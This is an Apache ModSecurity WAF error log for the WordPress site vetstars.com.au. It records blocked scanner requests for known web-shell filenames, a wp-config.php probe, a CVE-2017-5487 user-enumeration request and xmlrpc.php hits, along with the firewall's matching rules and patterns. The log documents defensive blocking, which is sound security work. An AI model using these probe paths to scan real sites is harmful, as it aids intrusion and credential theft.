[Mon Dec 01 20:01:24.957838 2025] [:error] [pid 3307:tid 3321] [client 4.215.220.131:26531] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aS2DlEhV_0w1hrv72n4AsAAAAQw"]
[Mon Dec 01 20:01:25.242800 2025] [:error] [pid 3307:tid 3331] [client 4.215.220.131:26450] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/index.php"] [unique_id "aS2DlUhV_0w1hrv72n4AtAAAARY"]
[Mon Dec 01 20:01:25.602059 2025] [:error] [pid 3247:tid 3290] [client 4.215.220.131:26540] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/index.php"] [unique_id "aS2DlSMO2n3Q0MZfETI4jgAAAM4"]
[Mon Dec 01 20:01:25.883645 2025] [:error] [pid 3247:tid 3295] [client 4.215.220.131:26594] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/index.php"] [unique_id "aS2DlSMO2n3Q0MZfETI4kAAAANM"]
[Mon Dec 01 20:01:26.233488 2025] [:error] [pid 3247:tid 3286] [client 4.215.220.131:53795] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/index.php"] [unique_id "aS2DliMO2n3Q0MZfETI4kwAAAMo"]
[Mon Dec 01 20:01:26.553404 2025] [:error] [pid 5120:tid 5146] [client 4.215.220.131:26505] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aS2Dlj5X7_hfFhnUCkLWiAAAAVc"]
[Mon Dec 01 20:01:27.102320 2025] [:error] [pid 3343:tid 3353] [client 4.215.220.131:26577] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aS2Dl7Lh6htIpruGDDnTXAAAAAg"]
[Mon Dec 01 20:01:27.512796 2025] [:error] [pid 3247:tid 3297] [client 4.215.220.131:26619] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aS2DlyMO2n3Q0MZfETI4mQAAANU"]
[Mon Dec 01 20:01:27.854564 2025] [:error] [pid 3307:tid 3312] [client 4.215.220.131:26614] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aS2Dl0hV_0w1hrv72n4AuAAAAQM"]
[Mon Dec 01 20:01:28.138038 2025] [:error] [pid 3246:tid 3263] [client 4.215.220.131:53814] [client 4.215.220.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aS2DmFkT8fezoNl7qjeCyAAAAE4"]
[Mon Dec 01 20:01:28.392872 2025] [:error] [pid 3307:tid 3324] [client 4.215.220.131:26599] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/po.php"] [unique_id "aS2DmEhV_0w1hrv72n4AuQAAAQ8"]
[Mon Dec 01 20:01:28.674205 2025] [:error] [pid 5120:tid 5133] [client 4.215.220.131:26434] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/po.php"] [unique_id "aS2DmD5X7_hfFhnUCkLWigAAAUs"]
[Mon Dec 01 20:01:29.030607 2025] [:error] [pid 3246:tid 3268] [client 4.215.220.131:26604] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/po.php"] [unique_id "aS2DmVkT8fezoNl7qjeCyQAAAFM"]
[Mon Dec 01 20:01:29.340425 2025] [:error] [pid 5158:tid 5163] [client 4.215.220.131:26538] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zews.php"] [unique_id "aS2DmVsnIOgHXYZw9rY3oQAAAYM"]
[Mon Dec 01 20:01:29.641345 2025] [:error] [pid 3307:tid 3320] [client 4.215.220.131:53854] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zews.php"] [unique_id "aS2DmUhV_0w1hrv72n4AvQAAAQs"]
[Mon Dec 01 20:01:29.959100 2025] [:error] [pid 3247:tid 3281] [client 4.215.220.131:26384] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zews.php"] [unique_id "aS2DmSMO2n3Q0MZfETI4oAAAAMU"]
[Mon Dec 01 20:01:30.227619 2025] [:error] [pid 3247:tid 3292] [client 4.215.220.131:26503] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zews.php"] [unique_id "aS2DmiMO2n3Q0MZfETI4owAAANA"]
[Mon Dec 01 20:01:30.557236 2025] [:error] [pid 3247:tid 3276] [client 4.215.220.131:26491] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aS2DmiMO2n3Q0MZfETI4pAAAAMA"]
[Mon Dec 01 20:01:30.860359 2025] [:error] [pid 3247:tid 3295] [client 4.215.220.131:26536] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aS2DmiMO2n3Q0MZfETI4pgAAANM"]
[Mon Dec 01 20:01:31.206745 2025] [:error] [pid 3247:tid 3284] [client 4.215.220.131:26562] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aS2DmyMO2n3Q0MZfETI4qgAAAMg"]
[Mon Dec 01 20:01:31.620895 2025] [:error] [pid 3246:tid 3272] [client 4.215.220.131:26605] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aS2Dm1kT8fezoNl7qjeC0gAAAFc"]
[Mon Dec 01 20:01:31.863914 2025] [:error] [pid 3246:tid 3265] [client 4.215.220.131:53826] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/usage-file.php"] [unique_id "aS2Dm1kT8fezoNl7qjeC1AAAAFA"]
[Mon Dec 01 20:01:32.196274 2025] [:error] [pid 3247:tid 3298] [client 4.215.220.131:26598] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/usage-file.php"] [unique_id "aS2DnCMO2n3Q0MZfETI4rwAAANY"]
[Mon Dec 01 20:01:32.500165 2025] [:error] [pid 3247:tid 3293] [client 4.215.220.131:26464] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/usage-file.php"] [unique_id "aS2DnCMO2n3Q0MZfETI4sgAAANE"]
[Mon Dec 01 20:01:32.825226 2025] [:error] [pid 3247:tid 3276] [client 4.215.220.131:26622] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/usage-file.php"] [unique_id "aS2DnCMO2n3Q0MZfETI4tgAAAMA"]
[Mon Dec 01 20:01:33.311622 2025] [:error] [pid 3307:tid 3316] [client 4.215.220.131:26388] [client 4.215.220.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/assets/js/wp-config.php"] [unique_id "aS2DnUhV_0w1hrv72n4AvwAAAQc"]
[Mon Dec 01 20:01:33.653999 2025] [:error] [pid 5158:tid 5176] [client 4.215.220.131:53804] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Js.php"] [unique_id "aS2DnVsnIOgHXYZw9rY3owAAAZA"]
[Mon Dec 01 20:01:34.075428 2025] [:error] [pid 5158:tid 5181] [client 4.215.220.131:26617] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Js.php"] [unique_id "aS2DnlsnIOgHXYZw9rY3pQAAAZU"]
[Mon Dec 01 20:01:34.367050 2025] [:error] [pid 3246:tid 3250] [client 4.215.220.131:26534] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Js.php"] [unique_id "aS2DnlkT8fezoNl7qjeC2gAAAEE"]
[Mon Dec 01 20:01:34.654443 2025] [:error] [pid 5158:tid 5166] [client 4.215.220.131:26506] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Js.php"] [unique_id "aS2DnlsnIOgHXYZw9rY3pgAAAYY"]
[Mon Dec 01 20:01:35.048073 2025] [:error] [pid 3247:tid 3299] [client 4.215.220.131:26513] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aS2DnyMO2n3Q0MZfETI4uwAAANc"]
[Mon Dec 01 20:01:35.415238 2025] [:error] [pid 3247:tid 3298] [client 4.215.220.131:26547] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aS2DnyMO2n3Q0MZfETI4vgAAANY"]
[Mon Dec 01 20:01:35.704506 2025] [:error] [pid 3384:tid 3396] [client 4.215.220.131:26452] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aS2Dn4rlvm8bC96s6ZFTuwAAAIo"]
[Mon Dec 01 20:01:36.038959 2025] [:error] [pid 5158:tid 5180] [client 4.215.220.131:26451] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aS2DoFsnIOgHXYZw9rY3pwAAAZQ"]
[Mon Dec 01 20:01:36.309121 2025] [:error] [pid 5158:tid 5162] [client 4.215.220.131:26466] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aS2DoFsnIOgHXYZw9rY3qQAAAYI"]
[Mon Dec 01 20:01:36.702862 2025] [:error] [pid 3307:tid 3319] [client 4.215.220.131:26442] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aS2DoEhV_0w1hrv72n4AwwAAAQo"]
[Mon Dec 01 20:01:36.960776 2025] [:error] [pid 5158:tid 5178] [client 4.215.220.131:26492] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aS2DoFsnIOgHXYZw9rY3qgAAAZI"]
[Mon Dec 01 20:01:37.314417 2025] [:error] [pid 5120:tid 5132] [client 4.215.220.131:53833] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aS2DoT5X7_hfFhnUCkLWmAAAAUo"]
[Mon Dec 01 20:01:37.565644 2025] [:error] [pid 3246:tid 3262] [client 4.215.220.131:26574] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/build.php"] [unique_id "aS2DoVkT8fezoNl7qjeC3QAAAE0"]
[Mon Dec 01 20:01:37.905040 2025] [:error] [pid 5120:tid 5123] [client 4.215.220.131:26557] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/build.php"] [unique_id "aS2DoT5X7_hfFhnUCkLWmQAAAUE"]
[Mon Dec 01 20:01:38.203652 2025] [:error] [pid 3384:tid 3404] [client 4.215.220.131:26511] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/build.php"] [unique_id "aS2Doorlvm8bC96s6ZFTvwAAAJI"]
[Mon Dec 01 20:01:38.481721 2025] [:error] [pid 5120:tid 5139] [client 4.215.220.131:26444] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/build.php"] [unique_id "aS2Doj5X7_hfFhnUCkLWnAAAAVE"]
[Mon Dec 01 20:01:38.939993 2025] [:error] [pid 3384:tid 3409] [client 4.215.220.131:26548] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ab.php"] [unique_id "aS2Doorlvm8bC96s6ZFTwQAAAJc"]
[Mon Dec 01 20:01:39.319586 2025] [:error] [pid 3343:tid 3358] [client 4.215.220.131:26445] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ab.php"] [unique_id "aS2Do7Lh6htIpruGDDnTcgAAAA0"]
[Mon Dec 01 20:01:39.649830 2025] [:error] [pid 3343:tid 3361] [client 4.215.220.131:26435] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ab.php"] [unique_id "aS2Do7Lh6htIpruGDDnTdAAAABA"]
[Mon Dec 01 20:01:40.093233 2025] [:error] [pid 3343:tid 3351] [client 4.215.220.131:26551] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ab.php"] [unique_id "aS2DpLLh6htIpruGDDnTdQAAAAY"]
[Mon Dec 01 20:01:40.439314 2025] [:error] [pid 3247:tid 3281] [client 4.215.220.131:26497] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aS2DpCMO2n3Q0MZfETI4xQAAAMU"]
[Mon Dec 01 20:01:40.849723 2025] [:error] [pid 5120:tid 5133] [client 4.215.220.131:26558] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aS2DpD5X7_hfFhnUCkLWnwAAAUs"]
[Mon Dec 01 20:01:41.131217 2025] [:error] [pid 3307:tid 3323] [client 4.215.220.131:26494] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aS2DpUhV_0w1hrv72n4AxgAAAQ4"]
[Mon Dec 01 20:01:41.430237 2025] [:error] [pid 5120:tid 5131] [client 4.215.220.131:26515] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aS2DpT5X7_hfFhnUCkLWoQAAAUk"]
[Mon Dec 01 21:22:01.066612 2025] [:error] [pid 51614:tid 51624] [client 113.219.218.197:49819] [client 113.219.218.197] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aS2WeaEd44yERYvpOsOfzwAAAQg"]
[Mon Dec 01 22:15:11.600034 2025] [:error] [pid 11436:tid 11514] [client 34.187.215.160:49996] [client 34.187.215.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.215.160, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS2i7_BKgw9o1rvGyKV9EgAAAFY"]
[Mon Dec 01 22:15:14.224388 2025] [:error] [pid 11436:tid 11499] [client 34.187.215.160:49996] [client 34.187.215.160] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aS2i8vBKgw9o1rvGyKV9FwAAAEc"]
[Mon Dec 01 22:15:16.610350 2025] [:error] [pid 11436:tid 11494] [client 34.187.215.160:49996] [client 34.187.215.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.215.160, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS2i9PBKgw9o1rvGyKV9HAAAAEI"]
[Mon Dec 01 22:24:41.650733 2025] [:error] [pid 11435:tid 11476] [client 34.83.114.121:55858] [client 34.83.114.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.114.121, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aS2lKZIO1XHiDMLlnSu6GAAAAAs"]
